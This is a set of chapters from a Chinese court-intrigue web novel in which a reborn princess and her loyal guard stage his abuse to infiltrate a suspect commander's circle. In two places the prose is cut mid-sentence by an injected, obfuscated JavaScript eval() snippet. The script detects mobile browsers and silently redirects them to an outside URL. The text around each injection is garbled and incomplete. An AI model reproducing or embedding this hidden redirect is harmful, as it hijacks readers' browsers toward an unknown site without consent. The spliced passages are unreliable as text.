从前在深宫怀瑾也常为她按肩揉腿,可都不及这般舒适顺畅。 谢郁棠有些自嘲地挑了下唇,上一世真是眼瞎,这么一个妙人她是怎么能做到几十年如一日视若无睹,以至于到死都没说过几句话的。 手臂上的酸楚早已荡然无存,安神香的味道淡淡弥散于室内,银盆炭火哔啵作响,舒适地令人几乎就此睡去,谢郁棠心里算着时间,睁眼时入目的是少年低垂的浓睫和清晰的下颌线。 她看了一会:“跪这么久,怨不怨我?” 苏戮正按着她另一条手臂,闻言勾了下唇: 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“身为下属最重要的便是听令行事。若手下自以为是为主上好便可自作主张擅自行动,会坏了大事。” 谢郁棠笑出声来:“本宫能有什么大事?每天在这府上,顶了天的大事也不过是喝酒赏乐而已。” “主人的平安喜乐,便是头等大事了。”苏戮顿了顿,轻轻吸了口气才继续道,“但您说的没错,只罚不赏,难免会寒了人心,所以……属下想在罚完之后,向您讨个赏。” 谢郁棠本就打算赏他。 这少年一直体贴驯顺,还是第一次主动提出要求,她心里提了点兴趣,面上却不动声色,只挑眉道:“你这是在向本宫邀赏?” 苏戮并未否认:“您说过,狗最重要的是忠诚,在您面前,我有话可以但说无妨。” 谢郁棠觉得越发有趣:“想求什么赏,说来听听?” “我想求主人,让我一直留在您身边。” 苏戮解下腰间玉佩,放进谢郁棠手中,慢慢握紧。 “我是您的刀,您想怎么用,就怎么用。不用顾及,不用犹疑,这把刀的刀尖永远不会冲向您。” 外间凛冽寒风未息,间又飘起细雨,谢郁棠从椒房出来,紧了紧身上的大氅,准备趁着未散的暖意踱步回寝殿,刚走没几步,握瑜自身后追来。 她自送完姜茶后便一直候在门外,等谢郁棠出来后才进去收拾。 握瑜递上手中的油纸伞,谢郁棠摆了摆手,“几步路而已,不必如此麻烦。” “是苏世子特地让我拿来的,他说冬雨寒凉,小姐又刚从暖室出来,最易湿寒入骨,切不可大意。” 握瑜说着,将伞塞进谢郁棠手里,不由分说地撩开她披着的大氅,为她打理腰间的穗带。 谢郁棠这才注意到几缕穗丝和玉佩绕在了一起,不细看根本发现不了。 握瑜将穗丝一根根捋顺,嘴上状似无意道:“小姐,你就不问我是怎么发现的?” “还能是怎么发现的?”谢郁棠扣手在她额上敲了一下,“你跟了我十几年,我还不知道你有没有这个眼力见儿?” 怀瑾夸张地哎呦一声,捂着额头吐了吐舌头。 自然是没有的。 能如此体察入微的,除了苏戮还能有谁? 谢郁棠回首看去,只见微雨连绵,天青色笼在椒房的黛瓦上,似烟似雾,温柔得如梦一般。 在椒房谢郁棠虽未当面允诺什么,但第二日便提了苏戮做自己的贴身侍卫,允了他在府中自由通行和调遣府卫的权利。 不仅如此,她还高调将享有盛名的孙裁缝请到府上,为苏戮量体裁衣。 孙裁缝的速度很快,不过几日便同公主府递了帖子,说已打好版子,想请苏世子试衣,谢郁棠正在书斋看书,闻言搁了笔,宣人进来。 书斋中早已屏退了随侍的婢女,握瑜将人领进屋便放下帘子,亲自守在外间。 “末将拜见小姐。” 孙裁缝单膝下跪,向谢郁棠行了一个标准的军礼。 孙裁缝本命言隼,是谢老将军的副官,当年侥幸逃得一死,便伪装了身份,以孙记裁缝铺为掩护,率领残余旧部暗中调查当年里通外敌害得谢家满门覆灭的凶手。 几日前谢郁棠以为苏戮裁衣为由,将言隼招至府中,吩咐其秘密调查巡防营统领巍咸西。 巍咸西此人隐藏极深,前世谢郁棠在军械库失踪案后才注意到他,已确认他与当年谢家旧案有关,颇费了好一番手段才将此人扳倒,只可惜此人死得太过蹊跷,有很多线索断在了他身上。 “多亏了小姐您的消息,我们这几日跟踪下来,发现此人的确疑点重重。” 谢郁棠读完言隼呈上的密信,眉梢一挑,将信纸在烛台上燃尽,正要开口,握瑜在门外敲了敲,隔着门帘低声通禀:“小姐,巍府管家又来了,说是有要事告知,十万火急,非要见您不可,已在偏殿候了一刻钟了。” 6. 第 6 章 魏府管家一连几日吃了闭门羹,今日登门倒没有再提礼金珠宝,只双手奉上一封烫金请帖。 谢郁棠接过,见行文以瘦金小楷书就,以巍府夫人的名义邀宁安公主前去小聚,曰岁寒将至,府上特设酒水肉食,一同邀约的还有朝中大臣及夫人女眷。 大兖向来民风开放,并不像前朝那般有男女大防,官员携家眷赴宴亦是常态,甚至还有未出阁的官家小姐专门借此机会考察席间名士俊儒,点做如意郎君。 谢郁棠看完请帖,心下已有计较,却故意挑眉:“这便是你说的——有要事告知,十万火急,非要见本宫不可?” 管家拜道:“请公主赴宴——自是要事;公主万金之躯,出行打点必不可马虎,鄙府需提前数日安排打点——此乃十万火急;至于非见公主您不可——” 管家略一停顿,深深再拜,“家主吩咐,此贴务必要送到公主手中——无奈之下,只得出此下策,还请公主见谅。” 谢郁棠笑了笑:“倒是个机灵的。” 差怀瑾给了赏银,谢郁棠手里把玩着鲁班锁,无奈地叹了口气:“你说这大冬天的,非要跳湖替本宫捡这个玩意儿,害得本宫费了好一番力气才把人暖回来……本宫离开这么久,他见不到人,又得发脾气了。” 管家差点把舌头咬掉。 那日谢郁棠从跑马地堂而皇之地把苏小世子牵狗一样牵回来的事,风言风语早就传遍了,不用说名字,管家就知道是谁了,这番话听得他心头直跳,满心回荡得都是几个咣机咣机地往下砸的词—— “好一番力气” “暖回来” “发脾气” …… 难怪人人都说宁安公主谢郁棠……跟三皇子蔺檀纠缠不清不说,还未出阁便敢在府中养男人,连在他这样的外人面前都不收敛。 饶是管家跟在巍咸西身边多年,见惯了大场面都觉得有点绷不住,赶紧说了几句场面话,便匆匆拜别了谢郁棠。 孙裁缝的手艺当真精湛,做了四五套衣裳,苏戮试完谢郁棠全都一并收了,还赐了一大笔赏银。 谢郁棠最喜藕荷色素面直裰那件,苏戮便直接穿着随她到书房伺候了。 桌上摊着看到一半的《兵策》,谢郁棠翻了几页,将从巍府管家那收的请帖递给苏戮。 设宴地点在城郊一处别院,说是可以踏青野炊,魏府为每位到访的客人设了居舍,可以小住几日。 苏戮刚被擢拔为贴身侍卫,自会一同前往,只是…… 谢郁棠将军械库失窃的事讲了,略一沉吟:“本宫得到消息,那巍咸西竟有龙阳之好,断袖之癖。” 苏戮研墨的手顿了片刻,撩起眼皮看向谢郁棠,很柔和的问:“主人是想让我色/诱他?” 纵使早知这人聪敏剔透,有七窍玲珑心,可她不过是浅浅提了一句,他便已一语中的她的意图。 这确是最快捷,最省事的捷径。 以苏戮的姿容,甚至用不着主动做点什么,那巍咸西只要见上一面,必会上钩。 谢郁棠无意识折弄着书页:“你可知,方才在巍府管家面前,我是怎么说你的?” 她将那话原封不动地重复给他,发现心中并不如自己以为的那般坦然。 她还记得初见他时,跪在跑马地上的清寂身影,那些肮脏的言语和猥琐的眼神,身为男子,却被人以姿容取乐,被投之以下作的幻想……这般屈辱,她光是看着就无法容忍。 而她现在所为,同那些人又有什么两样? 椒房中少年交给她的那枚玉佩在怀里硌得生疼,谢郁棠心思几经转圜,终究是放弃地闭了眼:“罢了,你若不愿……” “可以的。” 苏戮轻轻截断。 谢郁棠睁眼,有些诧异地看过去。 苏戮很柔和地回应了她。 若能将人的目光碾碎,一寸寸摊开,谢郁棠想,那他的定然是全然剔透的琉璃粉,没有丝毫名为怨怼的杂质。 “巡防营统领巍咸西——军械库失窃一案定与此人脱不了干系,说不定是他一手主导,若能拿到那日的轮值表,想必会大有进展。” 他已然开始抽丝剥茧地分析,见谢郁棠默然不语,轻轻叹了口气,解释道,“其实我很开心您愿意告诉我这些,这意味这您开始信任我了。” “士为知己者死,为了公主,性命都可不要,何况是一副皮囊?” 他抬手将遭罪的书从她手里轻柔抽出,一点点抚平褶皱的书页。 “这张脸,若除了取悦您之外,还能有一两分别的用途,让您少烦忧,少操劳,我又怎会不愿意呢?” 谢郁棠上辈子一世都在围着蔺檀转,蔺檀虽也甜言蜜语张口就来,但都是为了哄着她达到他想要的目的。这是她第一次听到如此直白的,将自己放在绝对主导地位的言语,一时间竟觉心口酸胀,不知如何接话。 谢郁棠偏过头轻吸了几口气,待情绪缓得差不多了,这才打趣道: “我还以为,你会说什么军械丢失,事关重大,为了家国天下,你愿意舍身成仁呢。” 这可是前世在沙场以一己之躯独挡十万胡人铁骑的小慕清王啊。 又怎会不心怀家国,以天下为己任。 可苏戮只是不在意地笑了笑:“家国天下是主人在意的事,我只在意您。” 军械库失窃一事不知是哪里走漏了风声,几乎是第二天就有折子递了上去,巍咸西都来不及按原先计划的那样放些老朽兵械进去遮掩,不过他扫尾工作做的干净,料想也查不到自己头上,况且还有那位大人做保…… 但巍咸西这几日赋闲在家,可真让他什么都不做他心里也不踏实,便想到了宁安公主谢郁棠,她一向最得圣宠,若能说动她在皇上面前美言几句,总不至有什么坏处。 巍咸西将此事同夫人一合计,都觉得此事可行,为了不使邀请太过突兀,还特意邀了些平日里私交较好的同僚。 “大人,宁安公主到了。” 巍咸西对着镜子再次理了一遍仪容,顿了顿,似乎想到什么:“那苏小世子也在?” 前一阵子谢郁棠收了苏戮而冷落三皇子蔺檀的事,在京中传得沸沸扬扬,那蔺檀说来也算是面如玉冠风采卓然了,这姓苏的小子到底是有多绝色,才能勾得谢郁棠连皇子贵胄都不要了? 直到前几日管家从公主府回来,说苏戮大冬天跳湖去捡一条死狗的玩具,还要被那妖女……不知用什么办法暖身子。 巍咸西这才恍然大悟。 呵,原来是个靠谄媚往上爬的玩意。 他继续打听下去,这才知道,原来这苏小世子脖子上拴着狗链,鞍前马后地伺候,为谢郁棠跪地布菜,端水暖脚,铺床打扇,做着连面首男宠都不懈去做的下贱活计。 听得巍咸西惊诧不已,惊诧过后却不由得心思活泛起来,若是也能把这苏小世子弄来侍奉自己,可不比秘阁中那些小倌更能给他心理上的满足? 他迎至门前时,宁安公主的轿撵刚刚落地。 巍咸西最先看到的,是挑开帘帐的一只男人的手。 指骨分明,肤白如釉,行动间手腕内侧有微凸的筋。 一只美人手。 方才刚放肆肖想过一番的人此刻就这样立于眼前,巍咸西甚至控制不住向前迈了一步,却在看到少年脖颈间的金色细链时猝然清醒。 他不可思议地看着苏戮下车之后在轿撵前屈膝俯身,让谢郁棠踩着自己的肩头下地。 堂堂慕清王府世子,竟、竟用身体给谢郁棠做踩脚凳! 巍咸西心中顿时五味杂陈,说不上是鄙夷还是嫉妒,面上却扯出热情的笑,谦卑地朝谢郁棠行拜礼:“宁安公主大驾,寒舍蓬荜生辉。” 谢郁棠将他方才几经周折的面部表情尽收眼底,回礼客套了几句,待入了席,才借着端酒的动作,以袖掩口轻声问道:“肩膀痛么?” 苏戮跪坐在她身侧后方,有模有样地动了下肩:“有点,或许主人给我揉揉?” 还有心思说笑,谢郁棠瞪了他一眼:“本宫今天就没吃什么东西。” “那就是我的罪过了,害得您不敢大口吃饭,该罚。” 苏戮在周围投来的各色目光中坦然处之,只一心一意为她斟酒,“不如主人一会随便寻个借口把我狠狠责罚一顿?反正我也是您——饱受欺凌虐待的可怜面首,不上点强度怎么能让魏大人相信呢?” 宴席纷杂,即使是邻桌的人也听不清他们在说什么,只能看到苏戮驯顺地跪坐在谢郁棠旁侧,同她讲话说笑,对她殷勤侍奉。 席间还有几位贵女,皆是精心打扮过,期待着能入得苏戮的眼,同宁安公主讨了人回去成亲的,见此情景,心里别提有多不是滋味。 席间歌舞声乐不断,气氛热闹得很,巍咸西和夫人坐在上首,做出一副琴瑟和鸣的样子,时不时同各位举杯畅言,丝毫看不出因军械失窃一案而受到影响。 巍咸西为避嫌已主动上书停职,这几日赋闲在家,时常到密阁中狎妓,阁中少年各个皆是四处搜罗调教好的极品绝色,可他今日见了苏戮,顿时又觉得那些人无味起来。 皎皎然若天边月,皑皑淡若竹上雪。 他先前还觉得传言太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人都被这突入齐来的变故惊得呆愣在场,不知如何反应。 巍咸西本人亦是惊疑呆愣,无法闪躲。 他本就是靠巴结钻营做上的巡防营统领之位,功夫原先就很一般,再加上这些年卖力拼命的事都让底下人做了,唯一需要他动点力气的也就是在密阁床上了,因而于此危急之际毫无他法,只能眼睁睁看着那刀尖逼至喉咙。 料想中的疼痛却并未出现。 巍咸西将眼睁开一条缝,只见苏戮静立于他身前,以一枝梅枝堪堪挡住了刀尖。 大兖士族皆爱风雅,常常会将新鲜柳条花枝折于瓶中,置于案上以供玩赏,如今正值寒冬腊月,案上陶瓶中插的便是梅枝。 众人入席之前都除下了佩剑兵器,苏戮无剑可使,便顺手取了一折梅枝来用。 那梅枝枯荣有度,缀着的花苞将开未开,被他这么握着,便是如此危机时刻也有几分落拓风流。 自己的刀被对方以一枝梅枝轻松挡下,于河宴就知道自己败了,毫无胜算。 他一心取巍咸西那狗贼性命,招招式式俱是不管不顾,身前空门打开,可对方似乎并不想致自己于死地,只防守格挡,并不进攻。 府卫早已将正殿团团围住,于河宴知道自己已无退路,一咬牙,举刀反手向自己胸膛戳去。 苏戮果然举枝来拦,于河宴等的就是这一刻,左手从怀里掏出暗器,向巍咸西掷去。 那狗贼虽被护卫围在身后,但他的暗器角度刁钻,只要擦到一点皮,就能取他狗命。 任那苏小世子功夫再好,也决计救援不及。 苏戮当机立断,掷出手中梅枝,巍咸西只觉膝下一痛,噗通一声跪倒在地,摔了个狗啃泥,三枚飞镖堪堪擦着他头顶飙过,嵌进墙角的梅树盆景,那株梅肉眼可见地枯萎下去。 竟是淬了剧毒! 府卫一拥而上,将于河宴绑了扭押下去。 惊魂未定的巍统领被众人搀扶着站起来,因着方才那一摔,他的发冠倒了,衣服脏了,膝盖火辣辣的痛,手臂上还划破一道口子,袖子断了半截。 原来是方才摔倒撞上了矮几,被烛台尖划的。 巍夫人早就受惊过度,昏了过去,管家指挥着下人将二位抬回内厅,唤了府上的医师。 巍咸西手上的伤刚上好药,纱布裹到一半,就听下人慌慌张张来报,说宁安公主大发雷霆,命苏世子跪在正殿阶下,说要重罚。 7. 第 7 章 巍咸西赶至正殿,只见谢郁棠手执马鞭,正要往苏戮身上抽。 他的外袍已经除去,只着素色单薄中衣,整个人如堕污泥之月,看得巍咸西心都揪了起来。 方才若不是苏戮,他恐怕早已中毒身亡,明明是救了自己性命的人,没有奖赏便罢了,如何能再被谢郁棠这妖女蹂躏,平白遭罪? 谢郁棠却对巍咸西的求情无动于衷:“他害巍大人受惊受伤,本宫正打算施以惩戒,再捆送至大人面前请罪。” 苏戮垂眸跪着,任由魏咸西同谢郁棠拉扯,表情始终淡淡的,仿若将要受罚的人并非自己。 最终两人各退一步,罚还是要罚,但由原先的十鞭减为三鞭。 那妖女当真刁蛮狠毒,三鞭抽下去,打得人皮开肉绽,长长的血痕贯穿整个后背,像腊梅绽放于薄雪之上,惊心动魄却也美绝人寰,巍咸西看着,心疼也心动,暗暗打定主意,定要将这小狐狸精弄到身边来。 这世上的美人大抵都美而自知,一路下来早就被旁人惯出老大的脾气,就连那靠出卖色相的小倌也能给惯出毛病,稍微折磨得狠了就软着声掉泪。 他还从未见过苏戮这样的,既高贵又卑贱,风光霁月又任人揉捏,要是能把他弄到床上…… 巍咸西只觉下腹一热,不自然地走了几步,站到廊下风口,吹了好一会冷风才重回内厅。 一旁围观的贵女们也都看得面红耳赤,早把方才宴饮上的几分不懈抛到了九霄云外,满心满眼都是那个以梅枝当剑,制敌救人且恣意风流的慕清王府小世子。 她们对谢郁棠恨得咬牙切齿,又对美强惨的小世子怜惜到了极致,纷纷捧着药材补品一窝蜂地堵在了谢郁棠行居门前。 谢郁棠提着茶壶推门进屋,将外间的盛况描绘了一番:“不如我命人将咱们人见人爱的苏小世子抬出去瞧一瞧,有入了您眼的,本宫亲自上门提亲?” 她此番出行轻衣简从,除了苏戮只带了怀瑾一人随侍,谢郁棠将怀瑾留在外间敷衍贵女们,自己躲进来清闲。 苏戮正要起身接她手里的茶盏,被谢郁棠一个眼神压了回去,只得乖乖坐着,看她一边给自己倒茶一边阴阳怪气。 等谢郁棠把茶推过来,他十分配合地喝了,顿了顿,才道:“您刚答应过不会赶我走的。” “这哪里是赶你走?”谢郁棠觉得他语气里的委屈有几分好笑,“你没有想过成家吗?” 又来。 苏戮垂眸,有些自嘲地勾了下嘴角。 ——“该给苏爱卿指门婚事了。” 上一世的光景犹在眼前,谢郁棠戴着点翠錾刻凤冠,在烛光中把玩着一只琉璃盏,像是同蔺檀调笑,又像是说给自己听。 他没有想到,这一世,这么快,这问题就又被提了一遍。 手指在衣袖中轻轻攥了一下,他听到自己轻声问:“那您呢?主人有想过……成亲吗?” 谢郁棠倒茶的手一顿。 这事她还真没想过。 男人靠不住,只有权利不会背叛自己,重生一回,她只想复仇掌权。儿女情长于她而言,不过是堪破了的镜花水月,破碎且无意义。 苏戮见她抿唇不言,略一犹豫,屈膝在她身前跪了下来。 他身上还带着伤,跪得又毫无征兆,谢郁棠讶然:“你这是做什么?” “请罪。” 声音依旧柔和沉静,底色却坚如磐石,苏戮垂眸,“这话是僭越之言,但我还是要说。” 谢郁棠静静看着他。 “三皇子并非良人。” 谢郁棠没想到是这么一句,怔愣片刻,笑出声来,饶有兴趣地问:“你怎么知道他并非良人?” 她等了一会没等到回答,索性换了个问题:“那你现在还觉得……我喜欢他吗?” 苏戮一直垂眸看着地面,长而密的睫毛将他眸底的情绪挡得密不透风,谢郁棠只看到他喉结滑动一下:“我不敢……随意揣测主人的心思。” 这话说的。 谢郁棠失笑:“自己一身伤,还有心思替本宫考量这些闲事。” 她将人扶起,重新摁回座位。 他的肩膀削薄平直,摸上去就像没有肉似的,触手依旧是微冷的体温。谢郁棠再去看他背上的鞭伤,刚才那一跪又有几处血痂裂了,往外渗着血,看上去触目惊心。 “本宫现在很生气,但是又罚你不得,你说该怎么办才好?” 谢郁棠气得又灌下一盏茶。 苏戮给她这负气之言逗笑了,柔声安慰:“没事的,您手下控着力道,只是皮外伤而已,看着吓人罢了。” 话是这么说,但…… 谢郁棠掏出一直揣在怀里的玉肌膏:“要不还是先上点药吧,我就涂一点点,应该看不出……” “主人。”苏戮有几分无奈地虚虚在她腕上握了一下,“做戏要做全套,您刚在巍统领那里放完狠话,转头就给我涂药,会让他起疑的,那我这疼不是白受了?” …… 谢郁棠说不过他,叹了口气:“这姓魏的怎么还不来,还不如门口的贵女懂得献殷勤。” 苏戮在喉咙里闷笑几声,肩上突然传来轻柔的力道,按揉着早先被她踩过的地方,苏戮怔愣扭头,想躲,肩上按揉的手却加重了力道。 谢郁棠在身后,留兰香浅淡地逸散在他周身的空气中:“怎么,你能跪着给本宫烤肉,本宫就不能给你揉揉肩?” * 巍咸西记挂着苏戮的伤,匆匆换了衣服整好发冠就带着大夫前来拜见谢郁棠,侍从将提着的药材补品交给怀瑾,就见谢郁棠坐在正厅的梨花木高背椅上,手里正把玩着一只小巧箭驽。 众人都知宁安公主不似寻常女子,于是便都投其所好,从各地搜罗来刀剑匕弩讨其欢心,谢郁棠手里拿的这把据说是从胡人贵族手上缴获的,上面嵌着宝石玉器,精巧异常。 巍咸西向谢郁棠行过礼,没见到苏戮,料想那人应当是在屋内卧床养伤,客套了几句,正要开口请去看望,就见插屏后一个高拔清俊的身影端着茶走了过来,竟是苏戮。 他身上还穿着受刑的衣服,背后的鞭伤只是简单包扎了一下,与其说是包扎,不如说只是为了不让血流出来弄脏衣服而做的处理。 他像个真正的下人一样给自己倒茶,巍咸西细细看去,只见他面色发白,嘴唇淡到几乎看不出血色,连提着茶盏的手腕都在微微发抖。 堂堂慕清王府的小世子,受了伤不让他卧床静养也就罢了,竟还要他做这等伺候人的粗使活计! 巍咸西忍了又忍,再三告诫自己切不可言辞激烈,冒犯了宁安公主,只是将茶壶从苏戮手里夺了下来,放到桌上,深深吸了口气,起身对谢郁棠拜道:“请殿下允我为苏小世子看伤。” 谢郁棠依旧不紧不慢地把玩着手上那支小弩,闻言挑唇道:“苏世子,咱们巍大统领对你可真是伤心,为你求情不说,还专程带了大夫给你看伤,还不快谢过巍大人?” 苏戮便要屈膝行礼,巍咸西哪里舍得,连忙将人拦下:“苏世子对本官有救命之恩,实在不必如此客气。” 怀瑾将几人引至偏厅,谢郁棠似是对那小弩感兴趣得很,并未跟来。因着男女之防,怀瑾也不便留在屋内,于是屋里一时只剩他们三人。 那大夫是自己人,自然不会乱说话,巍咸西暗道一声天助我也,立在屏风后试探道:“苏世子在公主府过得可好?” 大夫低眉敛眸地涂着药,一心一意只把自己当工具人,苏戮默了半晌,才轻叹了口气:“好与不好都是这样罢了,寄人篱下者又能有什么选择呢?” 他语气幽幽,听得巍咸西心尖都揪了起来,但他混迹官场多年,察言观色间只觉得谢郁棠对这小世子占有欲大得紧——踩着他的肩头当踩脚蹬下马车不说,在席间还当着众贵女的面逼他殷勤侍奉,摆明了宣誓自己的所有权。 他巍咸西虽借着同为男子的性别之便,让谢郁棠不至太过防备,但又焉知不会隔墙有耳? 巍咸西还待再做试探,只听门呼啦一声被人从外推开,谢郁棠大喇喇走了进来,劈头盖脸又是一顿训斥:“咱们苏小世子还真是金贵得狠呐,魏大人公务繁忙日理万机,你不过是蹭破了点皮,还打算耽搁魏大人到什么时辰?难道是嫌本宫下手太重,苛待你了?” 大夫被这声呵斥吓得手抖,赶紧给人裹好伤拜退出来,那苏小世子睫毛一颤,眼看着又要请罪,巍咸西赶紧将人扶了起来,将手里的字条塞进对方掌心,嘴上打着圆场:“殿下莫要怪罪,是下官让大夫仔细一些,耽搁了时间。” 谢郁棠只做未觉,客套了几句,将人送出居所,回来果然便见苏戮手里拿着一张字条。 她绕到他身后,上上下下打量着:“怎么样?那大夫手艺如何,要不拆了我再给你重新处理一下?” “主人,您不问巍统领这张字条上写了什么吗?” 谢郁棠还在研究他背上的刚裹好的纱布:“还能有什么,无非是挖墙脚罢了。” 苏戮将纸条摊开,递给谢郁棠,只见上面写着时间和地点,约他第二日巳时于茶馆见面:“巍统领性格多疑行事谨慎,约我见面一事想必他早就思虑多时,却又迟迟不肯明言,您推门的时机恰到好处,既打消了他的顾虑,又让他无法同我商量见面的细节,只得匆忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556972|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递了这张早就写好的字条给我。” 谢郁棠却好像根本没听见似的,只一心牵挂着他背后的伤。 苏戮叹了口气,只觉得心里又涩又胀,他倒宁愿她真像在巍咸西面前演出来的那样,对他粗暴些,苛待些,也好过现在这般…… 他自嘲地勾了下唇,转过身很柔和地将谢郁棠请回座位上:“主人,您忘了,我自小在边陲战场长大,这些皮肉伤又算得了什么,您这样,反倒是让我b不自在了。” 两人又细细商议了一番接下来的计划,而巍咸西那厢则激动得一整晚未曾踏实入眠,第二日大一早便开始沐浴焚香更衣,一身衣着打扮比平日里进宫面圣还要精致三分。 他在二楼雅座既忐忑又激动地等了一会,终于见到一袭月白身影登上折角楼梯。 苏戮方才在楼下被侍卫拦住,侧首听对方说了什么,而后便点点头,安静地举起双手,任由侍卫搜身后确定没有携带武器,这才抬步朝二楼走来。 巍咸西心中竟有些不快,嫌那些侍卫查的太细太慢,比自己还先摸到苏戮的身体,因此见对方落座,便再也忍不住,朝对方搁在桌上的手摸去。 自然是摸了个空。 巍咸西面色微变,正要开口,只见苏戮修长的手指提起茶壶,亲自为他斟了茶,再将杯盏轻柔地放在自己面前。 “这盏茶是昨日欠魏大人的,感您怜惜之情。” 巍咸西顿时又觉得通体舒泰,连昨日那一盏未尽的茶都记得清清楚楚,这小妖精果然很有些讨人欢心的本事。 罢了,只要能将人弄来自己这边,以后还不是想怎样就怎样,又何必急在这一时。 这般想着,巍咸西重又露出笑容,半是寒暄半是试探道:“苏世子在公主那边繁忙的紧,应邀前来一叙,不会误了世子的事吧?” 不料苏戮从容一笑:“我将此事通禀了公主,得了应允才来赴宴的。” 巍咸西大惊失色,只听苏戮不紧不慢道:“大人您也知道,公主看我看得紧,她曾警告我,若我未经允许擅离她的视线超过半个时辰,她便会打断我的腿,给我手腕和脖子都拴上链子,关在屋里锁起来。” 他的声音淡而沉静,柔和地像是盖在青草上的薄雪,巍咸西却听得心惊胆战,手脚发麻,却又觉得这的确像谢郁棠那疯女人会说出来的话,会做出来的事,心下不由开始后悔,谢郁棠对这小妖精的占有欲实在太过变态,若他此举真惹了那疯女人不快…… 似是看出他心中所想,苏戮淡淡一笑:“巍大人不必忧心,公主并不知您传消息给我的事。那日您离去之后,是我主动求的公主,让我今日特意向您道谢,以偿看伤赠药之恩。” 那日谢郁棠命苏戮跪在正殿阶下,说要严惩,还是巍咸西主动说情,这才免了他的重刑,再加上之后的登门赠药,宁安公主就算再刁蛮跋扈,这些面子上的虚礼却也不得不守,苏戮主动提出要来道谢,倒也合情理。 巍咸西心下安了大半,却仍有怀疑:“但既是登门拜谢,我应是不知情的,可你我却约在茶馆见面,公主她有岂会相信你的说辞?” 苏戮指尖在杯壁摩挲了一下:“我同公主说登门拜访太过张扬,便约了您在茶馆会面。您同身边传话的小厮吩咐下去,让他记得这回事,便是有人问起来也不会有纰漏了。” 巍咸西听他几句话便条缕分明地将事情处理了,还处理得这样漂亮干净,心中更是打定注意要把他弄来身边。 如此通透的人,还能把这份心思拿来伺候人,怪不得连向来骄纵跋扈的宁安公主都给迷得冷落了蔺檀。 他看着苏戮握着茶盏的手,他见过这双手殷勤侍奉他人的样子,反正都是要做粗活的,不如让他为自己…… 巍咸西喂了自己一口冷茶,将脸上整理出一副求才若渴的得体样子,先将苏小世子的身手如何了得,如何几招之间制住刺客于危机关头救了他一命的事讲了,又云巡防营近日人手出了空缺,却一直未能寻到合适的人选。 那苏小世子立刻便会了意,两人一拍即合,又详谈了半个多时辰,这才出了茶馆。 巍咸西亲自驾着马车将人送了回去,看着对方背影的眼神已然赤裸裸毫不掩饰。 苏戮在背后那道视线中举步朝前走去,垂眸掩去眼底的冷意。刚从正厅出来的怀瑾同他打了个照面,见他脚步一转,竟是要往侧房去,便问他为什么不去正厅:“小姐还在等你呢。” 苏戮眼底的冷意便在这句话中化了个干净,嘴角勾起浅淡的弧度:“我身上脏,怕沾染了主人。” 他同怀瑾拜了一下:“请您传个话,劳烦主人再等片刻,我换了衣裳便过去。” 8. 第 8 章 行居内院,管弦之声自酉时起便未断过。一水姿容清秀,身段优美的小倌在梅枝下戏耍作乐,活生生将行馆变成了一座供人享乐的风月院。 “主人还是不肯见我么?” 苏戮立在梅枝下,月色铺洒在他的脸上,如易碎的瓷釉般叫人心疼。 自内殿回来的怀瑾叹了口气,摇了摇头。 小姐那日在席间随口赞了一句歌舞作乐的伶人,当晚巍咸西便将那些小倌打包送了过来,其中一名叫芳倌的颇得公主荣宠,竟一连数日得进内殿伺候,一时间行馆内都传了个遍,说宁安公主得了新的玩意儿,怕那苏小世子要同先前的三皇子蔺檀一样,被冷落了。 苏戮朝园中蒙着眼投壶的芳倌看了一眼,叹了口气,一言不发的转身离去了,这一幕被园中伺候的侍女看见,偷偷回禀给巍咸西。 这是那日于茶楼同苏戮商量好的,起初巍咸西还担心计划的可行性,毕竟那芳倌虽是姿容月貌,顶顶出挑的面相,但放在苏戮面前却是寡淡了。 他担心谢郁棠看不上芳倌,没想到计划进行得比预想中还要顺利。 那芳倌不仅会讨人欢心,还有一把好嗓子,谢郁棠昨日听曲听得晚了,今日睡到近巳时才起,刚想摇铃唤人进来,只听屏风后脚步声响起,苏戮端着铜盆走了进来。 谢郁棠看着他拧好热毛巾,又托起自己的手腕轻柔擦拭,细细端详了一会他的脸色,不由有些好笑:“这几天给你放假,怎么还不开心呢?” 温热的毛巾拂过她掌心,进而是指节和指缝,苏戮的力道很轻柔,袖口的衣服被向上卷了起来,被他另一只手压着,因而这动作看起来亲密,但却没真正触碰到她一点。 “我看您开心得很,只见新人笑,哪闻旧人哭,等我去了巍统领那里,您不会连我长什么样都要忘了吧?” 谢郁棠一时语塞。 她本来还想调侃一句——去了巡防营就不用当狗了,开心吗? 没想到倒是先被打了一耙。 她又气又笑地捏住苏戮下颌,迫他抬头:“那芳倌是什么人,你跟他比?” 巍咸西本人虽好男色,但手里的人总要挑一些出来进贡给上面,芳倌就是被挑出来的姿容最出众的一个,被巍咸西在府上养了数月,平日里只管练艺操琴,不曾待过客。 此番被献给谢郁棠,芳倌心里也是极愿意的,反正都是伺候人,若能攀上宁安公主,他便可以一飞冲天了。 因此芳倌近日里极尽手段讨人欢心,且本身身份如此,反倒能在谢郁棠面前更无顾忌。 “这巡防营虽然配不上你,但也是个历练的机会。”谢郁棠想了想,“你若真的有意,定可大有所为,不比被拴在本宫身边强上许多?” 苏戮驯顺的仰脸任由她看,听着话音像是又要把他往外推,垂了眼刚要开口,只听谢郁棠又道:“不过,就算你真野了心思不愿意回来,本宫也会把你抓回来,你若跑——”她眯了下眼,回忆着苏戮随口编出来诓骗巍咸西的说辞,“本宫就真按你说的那样,打断你的腿,给你手腕和脖子都拴上链子,锁在房里让你哪都去不了。” 